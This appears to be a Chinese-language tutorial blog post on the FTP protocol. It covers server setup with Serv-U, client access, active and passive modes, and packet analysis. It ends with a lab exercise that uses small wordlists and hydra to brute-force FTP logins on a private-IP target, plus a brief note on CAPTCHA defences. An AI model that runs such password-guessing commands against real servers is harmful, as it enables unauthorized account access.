FTP协议

95 阅读3分钟

概述

  • File Transfer Protocol文件传输协议,工作在应用层,制定了文件传输的标准。

  • 文件共享与FTP区别:

    • 文件共享只能在内网访问,而FTP可以进行外网访问;
    • 文件共享文件传输效率较高,而FTP相对较低;
  • 底层基于TCP协议进行数据传输,使用21和20端口;

  • 有两种工作模式:主动服务、被动服务;

  • 软件架构:

    • C/S

      • client/server 客户端/服务器架构,客户端需要安装特定的程序,才能使用软件功能;比如:QQ、微信、LOL等
    • B/S

      • browser/server 浏览器/服务器架构,客户端不需要安装特定程序,所有软件程序都存放在服务器中;比如:京东、淘宝等网站;

环境搭建

FTP服务器

Windows Server:FTP

image.png

image.png

Serv-U
  • 安装Serv-U

image.png

image.png

image.png

image.png

新建域

image.png

自定义域名

image.png 开启文件传输

image.png

image.png

确定IPv4地址

image.png

image.png

新建账户

image.png 确定账户名称

image.png 确定密码

image.png

确定用户目录

image.png 权限确定

image.png

FTP客户端

文件资源管理器

ftp:\目标服务器主机IP ftp:\192.168.126.149

image.png

浏览器

http:\目标服务器主机IP
https:\目标服务器主机IP

http:\192.168.126.149
https:\192.168.126.149

image.png

image.png

工作模式

  • 会建立两条TCP连接,一条用于传输要执行的命令,一条用于传输文件数据。

image.png

分类

主动模式(PORT)
  • 客户端向服务器的21号端口进行三次握手,建立控制命令传输连接,并向服务器发送PORT控制命令,服务器收到PORT命令后,采用主动模式,主动开启20号端口,主动向客户端发起TCP三次握手,建立文件数据传输连接;

image.png

被动模式(PASV)
  • 客户端向服务器的21号端口进行三次握手,建立控制命令传输连接,并向服务器发送PASV控制命令,服务器收到PASV命令后,采用被动模式,主动开启一个随机较大的端口(1024~65534),等待客户端主动向服务器发起TCP三次握手,建立文件数据传输连接;

image.png

分析流量

被动模式PASV
  • 客户端向服务器发起控制命令连接建立的三次握手

image.png

  • 客户端向服务器通过控制命令连接发送控制命令,其中包括PASV控制命令

image.png

  • 服务器收到PASV命令后,切换为被动模式,随机开启较大端口,等待客户端向该端口发起三次握手,建立文件传输连接;

image.png

image.png

主动模式PORT

image.png

image.png

  • 客户端向服务器21号端口建立控制命令连接

image.png

  • 客户端向服务器发送PASV命令,尝试进行被动模式,但服务器响应未实现该命令(PASV被禁用)

image.png

  • 客户端向服务器发送PORT命令,尝试进行主动模式,服务器响应成功

image.png

  • 服务器开启20号端口,向客户端主动发起三次握手建立文件数据传输连接

image.png

  • 服务器通过20端口进行文件数据传输

image.png

暴力破解

  • 使用穷举方式,猜测可能的账户和密码值,使用猜测的账户和密码值,尝试进行登录,根据登录响应数据结果判定登录结果,如果登录失败,则换另一组账户和密码值,继续尝试登录,直到登录成功为止;

    主机
    • 靶机:winServer(安装了FTP服务器软件的主机)
    • 攻击主机:kali
    步骤
    • 创建账户字典

      1. echo admin >> /acc.list
      2. echo admin1 >> /acc.list
      3. echo zhangsan >> /acc.list
      4. echo lisi >> /acc.list
      5. echo wangwu >> /acc.list
    • 创建密码字典

      1. echo admin >> /pw.list
      2. echo 123456 >> /pw.list
      3. echo admin123 >> /pw.list
      4. echo qwert >> /pw.list
      5. echo p-0p-0p-0 >> /pw.list
      6. echo p-0p-0 >> /pw.list
    • 执行命令实现暴力破解

      1. hydra -L 账户字典文件路径 -P 密码字典文件路径 目标主机访问路径
      2. hydra -L /acc.list -P /pw.list ftp://192.168.126.149/

image.png

暴露破解防御方式

  • 在登录和注册时使用验证码机制

    • 图形化验证码
    • 手机验证码